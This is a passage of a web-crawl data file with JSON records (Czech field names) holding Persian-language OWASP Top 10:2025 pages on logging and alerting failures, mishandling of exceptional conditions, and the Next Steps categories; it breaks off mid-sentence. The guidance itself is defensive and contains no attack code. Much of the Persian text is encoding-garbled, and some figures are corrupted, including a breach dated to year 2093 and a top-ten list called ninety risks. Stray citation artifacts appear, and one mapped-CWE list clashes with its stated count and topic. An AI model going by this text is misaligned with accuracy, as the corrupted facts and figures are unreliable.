"https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html", "https://safecode.org/", "https://www.solarwinds.com/securityadvisory", "https://about.codecov.com/security-update/", "https://www.amazon.com/Securing-DevOps-Security-Continuous-Delivery/dp/1492054386", "https://www.tenendo.com/blog/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Security Logging and Alerting Failures - OWASP Top 10:2025", "h1": "A09:2025 Logging & Alerting Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 Logging & Alerting Failures"}, {"uroven": 2, "text": "پس‌زمینه"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "ابزارها و محصولات مفید"}, {"uroven": 2, "text": "نمونه سناریوهای حمله"}, {"uroven": 2, "text": "منابع (References)"}, {"uroven": 2, "text": "لیست CWEهای مرتبط (List of Mapped CWEs)"}], "markdown": "# A09:2025 Logging & Alerting Failures\n\n## پس‌زمینه\n\nLogging & Alerting Failures ŘŻŘą رتبه #9 باقی مانده است و نام آن کمی تغییر کرده تا عملکرد alerting و نیاز به اقدام ŘŻŘą رویدادهای ثبت‌شده عا بهتر نشان دهد. این دسته همیشه ŘŻŘą داده‌ها کم‌نمایش است و با 723 CVE نمایه بسیار محدودی دارد، اما اهمیت بالایی ŘŻŘą دیدپذیری، ٞاس؎ سریع به حواد؍ و forensic داعد. CWEهای شا؎ؾ شامل CWE-117: Improper Output Neutralization for Logs، CWE-532: Insertion of Sensitive Information into Log File و CWE-778: Insufficient Logging می‌شوند.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11.33% | 3.91% | 85.96% | 46.48% | 7.19 | 2.65 | 260,288 |\n\n## توضیحات\n\nعدم ؍بت و پایش رویدادها، و فقدان alerting مناسب، تشخیص حملات و واکنش به حواد؍ عا دشواع می‌کند. نمونه موارد این ضعف‌ها شامل موارد زیر است:\n\n- رویدادهای قابل audit مانند login، failed login و تراکنش‌های حساس، یا ؍بت نمی‌شوند یا ناقص ؍بت می‌شوند.\n- پیام‌های ؎ءا و warning ناکافی، مبهم یا غیرقابل استفاده هستند.\n- ؾحت و یکپارچگی logs محافظت نمی‌شود و ممکن است tamper شود.\n- logs برنامه‌ها و APIها برای فعالیت‌های مشکوک پایش نمی‌شوند.\n- logs فقط به ؾوعت محلی ذخیره شده و backup مناسب ندارند.\n- آستانه‌های مناسب alert و فرآیند escalation موجود نیست یا کارآمد نیست.\n- تست‌های penetration و ابزارهای DAST (مانند Burp یا ZAP) هشدار تولید نمی‌کنند.\n- سیستم قادر به تشخیص و alert به حملات فعال ŘŻŘą زمان واقعی یا نزدیک به واقعی نیست.\n- logging و alerting ممکن است اطلاعات حساس (PII/PHI) عا به مهاجم یا ڊاعبع نشان دهد.\n- امکان injection یا حمله به سیستم‌های logging ŘŻŘą ؾوعت عدم کدگذاری صحیح و؏ود داعد.\n- خطاها و شرایط استثنایی مدیریت نمی‌شوند و بنابراین سیستم از وقوع مشکل مطلع نمی‌شود.\n- use-caseهای لازم برای alert ناقص یا قدیمی هستند.\n- و؏ود false positive زیاد باؚ؍ می‌شود alertهای مهم نادیده گرفته شوند.\n\n## چگونه جلوگیری کنیŮ\n\n- تمام شکست‌ها و رویدادهای مربوط به login، access control و server-side validation عا ؍بت کنید و context کافی برای forensic داشته باشید.\n- همه بخش‌های نرم‌افزار که کنترل امنیتی دارند، چه موفق و چه شکست‌خورده، log شوند.\n- فرمت logها باید قابل استفاده برای log management باشد.\n- داده‌های log به درستی کدگذاری شوند تا از injection جلوگیری شود.\n- تمام تراکنش‌ها باید audit trail با integrity controls داشته باشند، مانند append-only tables.\n- تراکنش‌هایی که ؎ءا می‌دهند باید rollback شوند و always fail closed باشند.\n- ŘŻŘą ؾوعت عفتاع مشکوک کاربران یا برنامه، alert ایجاد کنید.\n- تیم‌های DevSecOps و امنیت use-case و playbookهای موثر برای alert ایجاد کنند.\n- از honeytokenها برای شناسایی دسترسی غیرمجاز استفاده کنید.\n- تحلیل عفتاع و هوش مصنوعی می‌تواند نرخ false positive عا کاهش دهد.\n- برنامه incident response و recovery مانند NIST 800-61r2 عا ایجاد و آموزش دهید.\n\n## ابزارها و محصولات مفید\n\n- OWASP ModSecurity Core Rule Set\n- ELK Stack (Elasticsearch, Logstash, Kibana)\n- ابزارهای observability تجاری برای ٞاس؎ سریع یا بلوکه کردن حملات\n\n## نمونه سناریوهای حمله\n\n**سناریو #1:**\n\nیک ارائه‌دهنده خدمات سلامت کودکان، نفوذ عا تشخیص نداد و مهاجم به داده‌های حساس بیش از Űł.Űľ میلیون ڊودڊ دسترسی پیدا ڊعد. به دلیل نبود logging و monitoring، این نفوذ می‌توانست از سال ۲۰۹۳ ادامه داشته باشد.\n\n**سناریو #2:**\n\nیک Ř´ŘąÚŠŘŞ هواپیمایی هندی دچار breach داده Ř´ŘŻ که بیش از ده سال اطلاعات مسافران شامل ٞاسٞوعت و ڊاعت اعتباری عا ŘŞŘ­ŘŞ تأثیر قرار داد. breach توسء یک cloud provider ثالث ڊشف Ř´ŘŻ.\n\n**سناریو #3:**\n\nیک Ř´ŘąÚŠŘŞ هواپیمایی اروپایی به دلیل ضعف‌های امنیتی پرداخت، بیش از ۴۰۰ هزار عڊوعد مشتری عا از دست داد و جریمه ۲۰ میلیون پوندی Ř´ŘŻ.\n\n## منابع (References)\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://owasp.org/www-project-proactive-controls/v3/en/c9-logging-monitoring/)\n- [OWASP ASVS: V16 Security Logging and Error Handling](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://www.cisecurity.org/)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://www.cisecurity.org/)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://www.cisecurity.org/)\n\n## لیست CWEهای مرتبط (List of Mapped CWEs)\n\n- [CWE-117](https://cwe.mitre.org/data/definitions/117.html) Improper Output Neutralization for Logs\n- [CWE-221](https://cwe.mitre.org/data/definitions/221.html) Information Loss of Omission\n- [CWE-223](https://cwe.mitre.org/data/definitions/223.html) Omission of Security-relevant Information\n- [CWE-532](https://cwe.mitre.org/data/definitions/532.html) Insertion of Sensitive Information into Log File\n- [CWE-778](https://cwe.mitre.org/data/definitions/778.html) Insufficient Logging", "znaku_textu": 6841, "slov": 793, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:56", "sha256": "8f2a8ca3f3fedd065ef2b0ef0d34ed6f4d2931a410d636f93221f0d2ed09f9cc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://www.cisecurity.org/", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025", "h1": "A10:2025 Mishandling of Exceptional Conditions", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 Mishandling of Exceptional Conditions"}, {"uroven": 2, "text": "پس‌زمینه"}, {"uroven": 3, "text": "CWEهای شا؎ؾ"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "دلایل شایع mishandling"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "نمونه سناریوهای حمله"}, {"uroven": 2, "text": "منابع (References)"}, {"uroven": 2, "text": "لیست CWEهای مرتبط (List of Mapped CWEs)"}], "markdown": "# A10:2025 Mishandling of Exceptional Conditions\n\n## پس‌زمینه\n\nMishandling of Exceptional Conditions یک دسته‌بندی جدید ŘŻŘą سال ۲۰۲۾ است. این دسته شامل ۲۴ CWE است و تمرکز آن روی مدیریت نامناسب خطاها، اشتباهات منطقی، ÂŤfail openÂť و سناریوهای مشابه ناشی از شرایط غیرمعمول ŘŻŘą سیستم است. برخی از CWEهای این دسته قبلاً با کیفیت پایین ÚŠŘŻ مرتبط بودند، اما این دسته‌بندی جدید راهنمایی دقیق‌تری ارائه می‌دهد.\n\n### CWEهای شا؎ؾ\n\n- CWE-209: Generation of Error Message Containing Sensitive Information\n- CWE-234: Failure to Handle Missing Parameter\n- CWE-274: Improper Handling of Insufficient Privileges\n- CWE-476: NULL Pointer Dereference\n- CWE-636: Not Failing Securely ('Failing Open')\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20.67% | 2.95% | 100.00% | 37.95% | 7.11 | 3.81 | 769,581 |\n\n## توضیحات\n\nMishandling exceptional conditions زمانی ع؎ می‌دهد که برنامه‌ها نتوانند شرایط غیرمعمول یا غیرقابل پیش‌بینی عا پیش‌بینی، شناسایی یا ٞاس؎ دهند. این موضوع می‌تواند باؚ؍ crash، عفتاع غیرمنتظره و ایجاد آسیب‌پذیری شود.\n\n### دلایل شایع mishandling\n\n- اعتبارسنجی ناقص یا دیرهنگام ورودی‌ها\n- مدیریت ؎ءا ŘŻŘą سءح بالا به جای محل وقوع ؎ءا\n- شرایط محیطی غیرمنتظره (مثل حافظه، دسترسی‌ها، شبکه)\n- استثناهای مدیریت‌نشده یا inconsistent handling\n\nاین ؜ؚف می‌تواند منجر به آسیب‌پذیری‌های مختلف امنیتی شود، از جمله:\n\n- باگ‌های منطقی\n\n- overflowها\n\n- race condition\n\n- مشکلات تراکنشی، حافظه، state، منابع، زمان‌بندی، احعاز هویت و مجوز\n\n## چگونه جلوگیری کنیŮ\n\n- برای هر ؎ءا یا استثنا، مدیریت مستقیم ŘŻŘą محل وقوع آن ایجاد کنید.\n- مدیریت ؎ءا باید شامل موارد زیر باشد:\n- ارائه پیام خطای قابل فهم برای ڊاعبع\n- ؍بت log\n- ایجاد alert ŘŻŘą ؾوعت لزوŮ\n- از global exception handler برای مدیریت موارد از دست رفته استفاده کنید.\n- از ابزارهای نظارت و observability برای شناسایی الگوهای تکرارشونده استفاده کنید.\n- تراکنش‌ها ŘŻŘą ؾوعت بعوز ؎ءا باید rollback شوند (Fail Closed).\n- محدودیت‌های منابع، rate limiting و throttling عا اعمال کنید تا از وقوع exceptional conditions جلوگیری شود.\n- اعتبارسنجی دقیق ورودی‌ها، sanitization و escaping برای کاراکترهای خطرناک عا اعمال کنید.\n- مدیریت ؎ءا و استثناها باید به ؾوعت متمرکز و یکسان ŘŻŘą کل سازمان انجام شود.\n- ŘŻŘą طول طراحی پروژه، از secure design review و threat modeling استفاده کنید.\n- بررسی کد، تحلیل ایستا، تست فشار، تست عملکرد و تست نفوذ عا ا؏عا کنید.\n\n## نمونه سناریوهای حمله\n\n**سناریو #1: Resource Exhaustion / DoS**\n\nاگع فایل‌ها هنگام upload استثناء تولید کنند اما منابع آزاد نشوند، هر ؎ءا باؚ؍ قفل شدن منابع می‌شود تا همه منابع مصرف شوند.\n\n**سناریو #2: Sensitive Data Exposure**\n\nپیام خطای کامل پایگاه داده به ڊاعبع نشان داده شود و مهاجم با ادامه تولید خطا، اطلاعات حساس سیستم عا جمع‌آوری کرده و از آن برای حمله SQL Injection استفاده کند.\n\n**سناریو #3: State Corruption ŘŻŘą تراکنش‌های مالی**\n\nیک تراکنش چندمرحله‌ای شامل debit، credit و log است. اگع خطایی ŘŻŘą وسء تراکنش ع؎ دهد و rollback کامل انجام نشود، مهاجم می‌تواند حساب ڊاعبع عا خالی کند یا تراکنش عا چندباره ارسال کند.\n\n## منابع (References)\n\n- [OWASP MASVS‑RESILIENCE](https://owasp.org/)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP ASVS: V16.5 Error Handling](https://owasp.org/www-project-application-security-verification-standard/)\n- [OWASP Testing Guide: 4.8.1 Testing for Error Handling](https://owasp.org/www-project-web-security-testing-guide/)\n- [Best Practices for Exceptions (Microsoft, .Net)](https://learn.microsoft.com/)\n- [Clean Code and the Art of Exception Handling (Toptal)](https://www.toptal.com/)\n- [General Error Handling Rules (Google for Developers)](https://developers.google.com/)\n\n## لیست CWEهای مرتبط (List of Mapped CWEs)\n\n- [CWE-209](https://cwe.mitre.org/data/definitions/209.html) Generation of Error Message Containing Sensitive Information\n- [CWE-215](https://cwe.mitre.org/data/definitions/215.html) Insertion of Sensitive Information Into Debugging Code\n- [CWE-234](https://cwe.mitre.org/data/definitions/234.html) Failure to Handle Missing Parameter\n- [CWE-235](https://cwe.mitre.org/data/definitions/235.html) Improper Handling of Extra Parameters\n- [CWE-248](https://cwe.mitre.org/data/definitions/248.html) Uncaught Exception\n- [CWE-252](https://cwe.mitre.org/data/definitions/252.html) Unchecked Return Value\n- [CWE-274](https://cwe.mitre.org/data/definitions/274.html) Improper Handling of Insufficient Privileges\n- [CWE-280](https://cwe.mitre.org/data/definitions/280.html) Improper Handling of Insufficient Permissions or Privileges\n- [CWE-369](https://cwe.mitre.org/data/definitions/369.html) Divide By Zero\n- [CWE-390](https://cwe.mitre.org/data/definitions/390.html) Detection of Error Condition Without Action\n- [CWE-391](https://cwe.mitre.org/data/definitions/391.html) Unchecked Error Condition\n- [CWE-394](https://cwe.mitre.org/data/definitions/394.html) Unexpected Status Code or Return Value\n- [CWE-396](https://cwe.mitre.org/data/definitions/396.html) Declaration of Catch for Generic Exception\n- [CWE-397](https://cwe.mitre.org/data/definitions/397.html) Declaration of Throws for Generic Exception\n- [CWE-460](https://cwe.mitre.org/data/definitions/460.html) Improper Cleanup on Thrown Exception\n- [CWE-476](https://cwe.mitre.org/data/definitions/476.html) NULL Pointer Dereference\n- [CWE-478](https://cwe.mitre.org/data/definitions/478.html) Missing Default Case in Multiple Condition Expression\n- [CWE-484](https://cwe.mitre.org/data/definitions/484.html) Omitted Break Statement in Switch\n- [CWE-550](https://cwe.mitre.org/data/definitions/550.html) Server-generated Error Message Containing Sensitive Information\n- [CWE-636](https://cwe.mitre.org/data/definitions/636.html) Not Failing Securely ('Failing Open')\n- [CWE-703](https://cwe.mitre.org/data/definitions/703.html) Improper Check or Handling of Exceptional Conditions\n- [CWE-754](https://cwe.mitre.org/data/definitions/754.html) Improper Check for Unusual or Exceptional Conditions\n- [CWE-755](https://cwe.mitre.org/data/definitions/755.html) Improper Handling of Exceptional Conditions\n- [CWE-756](https://cwe.mitre.org/data/definitions/756.html) Missing Custom Error Page", "znaku_textu": 7862, "slov": 792, "odkazu": 69, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:57", "sha256": "f7875b44aef9076e3c62aabea03d2e33f7500b9a0cabaacf31c8a358a9ddfa65", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html", "https://learn.microsoft.com/", "https://www.toptal.com/", "https://developers.google.com/", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/215.html", "https://cwe.mitre.org/data/definitions/234.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/248.html", "https://cwe.mitre.org/data/definitions/252.html", "https://cwe.mitre.org/data/definitions/274.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/369.html", "https://cwe.mitre.org/data/definitions/390.html", "https://cwe.mitre.org/data/definitions/391.html", "https://cwe.mitre.org/data/definitions/394.html", "https://cwe.mitre.org/data/definitions/396.html", "https://cwe.mitre.org/data/definitions/397.html", "https://cwe.mitre.org/data/definitions/460.html", "https://cwe.mitre.org/data/definitions/476.html", "https://cwe.mitre.org/data/definitions/478.html", "https://cwe.mitre.org/data/definitions/484.html", "https://cwe.mitre.org/data/definitions/550.html", "https://cwe.mitre.org/data/definitions/636.html", "https://cwe.mitre.org/data/definitions/703.html", "https://cwe.mitre.org/data/definitions/754.html", "https://cwe.mitre.org/data/definitions/755.html", "https://cwe.mitre.org/data/definitions/756.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/X01_2025-Next_Steps/", "titulek": "Next Steps - OWASP Top 10:2025", "h1": "Next Steps", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/X01_2025-Next_Steps/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Next Steps"}, {"uroven": 2, "text": "X01:2025 Lack of Application Resilience"}, {"uroven": 3, "text": "پس‌زمینه"}, {"uroven": 3, "text": "CWEهای شا؎ؾ"}, {"uroven": 3, "text": "جدول امتیازدهی"}, {"uroven": 3, "text": "توضیحات"}, {"uroven": 3, "text": "راهکارهای پیشگیری"}, {"uroven": 3, "text": "نمونه حملات"}, {"uroven": 3, "text": "منابع"}, {"uroven": 3, "text": "List of Mapped CWEs"}, {"uroven": 2, "text": "X02:2025 Memory Management Failures"}, {"uroven": 3, "text": "زمینه"}, {"uroven": 3, "text": "جدول امتیازدهی"}, {"uroven": 3, "text": "توضیحات"}, {"uroven": 4, "text": "شرایط ایجاد ؎ءا ŘŻŘą مدیریت حافظه"}, {"uroven": 3, "text": "راهکارهای پیشگیری"}, {"uroven": 3, "text": "نمونه سناریوهای حمله"}, {"uroven": 3, "text": "منابع"}, {"uroven": 3, "text": "فهرست CWEهای مرتبط"}], "markdown": "# Next Steps\n\nOWASP Top 10 طراحی‌شده تا ۹۰ ریسک مهم‌ترین و فراگیرترین تهدیدها عا برجسته کند. با این حال، همیشه تعدادی ریسک \"ŘŻŘą لبه\" و؏ود دارند که بررسی و شناسایی آنها ارزشمند است، اما ŘŻŘą نهایت به دلیل کمبود فراوانی یا تأثیر کمتر ŘŻŘą لیست ۹۰ ریسک اصلی قرار نگرفتند.\n\nدو مورد زیر برای سازمان‌هایی که به بلوغ ŘŻŘą برنامه امنیت نرم‌افزار (AppSec) می‌رسند، مشاوران امنیتی، یا ابزارهای امنیتی که می‌خواهند ٞوشش ؎ود عا گستعش دهند، اهمیت ویژه دارند:\n\n---\n\n## X01:2025 Lack of Application Resilience\n\n### پس‌زمینه\n\nاین دسته‌بندی بازنامی از 2021’s Denial of Service است. تمرکز آن روی ضعف‌هایی است که به مشکلات مقاومت (resilience) نرم‌افزار مربوط می‌شوند. امتیازدهی این دسته‌بندی با A10:2025 Mishandling of Exceptional Conditions نزدیک بوده است. :contentReference[oaicite:1]{index=1}\n\n### CWEهای شا؎ؾ\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html) Uncontrolled Resource Consumption\n- [CWE-409](https://cwe.mitre.org/data/definitions/409.html) Improper Handling of Highly Compressed Data (Data Amplification)\n- [CWE-674](https://cwe.mitre.org/data/definitions/674.html) Uncontrolled Recursion\n- [CWE-835](https://cwe.mitre.org/data/definitions/835.html) Loop with Unreachable Exit Condition ('Infinite Loop')\n\n### جدول امتیازدهی\n\n| تؚداد CWEها | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین وزن بهره‌برداری | میانگین وزن ا؍ع | کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 20.05% | 4.55% | 86.01% | 41.47% | 7.92 | 3.49 | 865,066 |\n\n### توضیحات\n\n؜ؚف ŘŻŘą مقاومت نرم‌افزار زمانی ع؎ می‌دهد که برنامه نتواند ŘŞŘ­ŘŞ فشار، خطاها یا شرایط غیرمنتظره، به درستی عمل کند یا از آن‌ها بازیابی شود. نتایج معمول شامل:\n\n- اختلال ŘŻŘą دسترسی (Availability)\n- فساد داده‌ها\n- افشای اطلاعات حساس\n- ا؍عات زنجیره‌ای روی سیستم‌ها\n- دوع زدن کنترل‌های امنیتی :contentReference[oaicite:2]{index=2}\n\n### راهکارهای پیشگیری\n\n- اعمال محدودیت‌ها، quotaها و قابلیت failover\n- شناسایی عملیات پرمصرف و محدود کردن دسترسی کاربران ناشناس\n- اعتبارسنجی دقیق ورودی‌ها با allow-list و محدودیت اندازه\n- محدود کردن پاسخ‌ها و عدم ارسال داده‌های خام به ڊاعبع\n- پیش‌فرض‌های امن و rollback تراکنش‌ها ŘŻŘą ؾوعت ؎ءا\n- استفاده از asynchronous/non‑blocking calls، اعمال timeout و محدودیت concurrency\n- تست عملکرد، load testing و حتی chaos engineering\n- پیاده‌سازی الگوهای resilience مانند circuit breaker، bulkheads و graceful degradation\n- نظارت و observability فعال همراه با تعریف alert\n- و ŘŻŘą ؾوعت لزوم، Proof‑of‑Work برای عملیات پرمصرف کاربران مشکوک\n- محدودیت مدت زمان session و اطلاعات ذخیره شده ŘŻŘą session\n\n### نمونه حملات\n\n- مصرف عمدی منابع برای ایجاد Denial of Service\n- Fuzzing ورودی‌ها برای شڊست منطق (logic)\n- حمله به وابستگی‌های خارجی و از ڊاع افتادن APIها\n\n### منابع\n\n- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)\n- [OWASP MASVS‑RESILIENCE](https://owasp.org/)\n- [ASP.NET Core Best Practices (Microsoft)](https://learn.microsoft.com/)\n- [Resilience in Microservices: Bulkhead vs Circuit Breaker (Parser)](https://parser.com/)\n- [Bulkhead Pattern (Geeks for Geeks)](https://www.geeksforgeeks.org/)\n- [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework)\n\n### List of Mapped CWEs\n\n- [CWE-73](https://cwe.mitre.org/data/definitions/73.html) External Control of File Name or Path\n- [CWE-183](https://cwe.mitre.org/data/definitions/183.html) Permissive List of Allowed Inputs\n- [CWE-256](https://cwe.mitre.org/data/definitions/256.html) Plaintext Storage of a Password\n- [CWE-266](https://cwe.mitre.org/data/definitions/266.html) Incorrect Privilege Assignment\n- [CWE-269](https://cwe.mitre.org/data/definitions/269.html) Improper Privilege Management\n- [CWE-286](https://cwe.mitre.org/data/definitions/286.html) Incorrect User Management\n- [CWE-311](https://cwe.mitre.org/data/definitions/311.html) Missing Encryption of Sensitive Data\n- [CWE-312](https://cwe.mitre.org/data/definitions/312.html) Cleartext Storage of Sensitive Information\n- [CWE-313](https://cwe.mitre.org/data/definitions/313.html) Cleartext Storage in a File or on Disk\n- [CWE-316](https://cwe.mitre.org/data/definitions/316.html) Cleartext Storage of Sensitive Information in Memory\n- [CWE-362](https://cwe.mitre.org/data/definitions/362.html) Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n- [CWE-382](https://cwe.mitre.org/data/definitions/382.html) J2EE Bad Practices: Use of System.exit()\n- [CWE-419](https://cwe.mitre.org/data/definitions/419.html) Unprotected Primary Channel\n- [CWE-434](https://cwe.mitre.org/data/definitions/434.html) Unrestricted Upload of File with Dangerous Type\n- [CWE-436](https://cwe.mitre.org/data/definitions/436.html) Interpretation Conflict\n- [CWE-444](https://cwe.mitre.org/data/definitions/444.html) Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')\n- [CWE-451](https://cwe.mitre.org/data/definitions/451.html) UI Misrepresentation of Critical Information\n- [CWE-454](https://cwe.mitre.org/data/definitions/454.html) External Initialization of Trusted Variables or Data Stores\n- [CWE-472](https://cwe.mitre.org/data/definitions/472.html) External Control of Assumed-Immutable Web Parameter\n- [CWE-501](https://cwe.mitre.org/data/definitions/501.html) Trust Boundary Violation\n- [CWE-522](https://cwe.mitre.org/data/definitions/522.html) Insufficiently Protected Credentials\n- [CWE-525](https://cwe.mitre.org/data/definitions/525.html) Use of Web Browser Cache Containing Sensitive Information\n- [CWE-539](https://cwe.mitre.org/data/definitions/539.html) Use of Persistent Cookies Containing Sensitive Information\n- [CWE-598](https://cwe.mitre.org/data/definitions/598.html) Use of GET Request Method With Sensitive Query Strings\n- [CWE-602](https://cwe.mitre.org/data/definitions/602.html) Client‑Side Enforcement of Server‑Side Security\n- [CWE-628](https://cwe.mitre.org/data/definitions/628.html) Function Call with Incorrectly Specified Arguments\n- [CWE-642](https://cwe.mitre.org/data/definitions/642.html) External Control of Critical State Data\n- [CWE-646](https://cwe.mitre.org/data/definitions/646.html) Reliance on File Name or Extension of Externally‑Supplied File\n- [CWE-653](https://cwe.mitre.org/data/definitions/653.html) Improper Isolation or Compartmentalization\n- [CWE-656](https://cwe.mitre.org/data/definitions/656.html) Reliance on Security Through Obscurity\n- [CWE-657](https://cwe.mitre.org/data/definitions/657.html) Violation of Secure Design Principles\n- [CWE-676](https://cwe.mitre.org/data/definitions/676.html) Use of Potentially Dangerous Function\n- [CWE-693](https://cwe.mitre.org/data/definitions/693.html) Protection Mechanism Failure\n- [CWE-799](https://cwe.mitre.org/data/definitions/799.html) Improper Control of Interaction Frequency\n- [CWE-807](https://cwe.mitre.org/data/definitions/807.html) Reliance on Untrusted Inputs in a Security Decision\n- [CWE-841](https://cwe.mitre.org/data/definitions/841.html) Improper Enforcement of Behavioral Workflow\n- [CWE-1021](https://cwe.mitre.org/data/definitions/1021.html) Improper Restriction of Rendered UI Layers or Frames\n- [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html) Use of Web Link to Untrusted Target with window.opener Access\n- [CWE-1125](https://cwe.mitre.org/data/definitions/1125.html) Excessive Attack Surface\n\n---\n\n## X02:2025 Memory Management Failures\n\n### زمینه\n\nزبان‌هایی مانند Java, C#, JavaScript/TypeScript (Node.js), Go و Rust memory‑safe هستند. مشکلات مدیریت حافظه بیشتر ŘŻŘą زبان‌های غیر memory‑safe مانند C و C++ ع؎ می‌دهد. این دسته کمترین امتیاز عا ŘŻŘą نظرسنجی جامعه داشت ولی سومین تؚداد CVE مرتبط عا داعد. ضعف‌های حافظه معمولاً بالاترین CVSS عا دارند. :contentReference[oaicite:3]{index=3}\n\n### جدول امتیازدهی\n\n| تؚداد CWEهای مرتبط | بیشترین نرخ وقوع | میانگین نرخ وقوع | بیشترین ٞوشش | میانگین ٞوشش | میانگین وزن بهره‌برداری | میانگین وزن تأثیر | کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 2.96% | 1.13% | 55.62% | 28.45% | 6.75 | 4.82 | 220,414 |\n\n### توضیحات\n\nوقتی برنامه مجبور باشد ؎ود حافظه عا مدیریت کند، احتمال اشتباه زیاد است. اگرچه زبان‌های memory‑safe بیشتر استفاده می‌شوند، هنوز سیستم‌های legacy، سیستم‌های low‑level جدید و وب اپلیکیشن‌هایی که با mainframe، IoT، 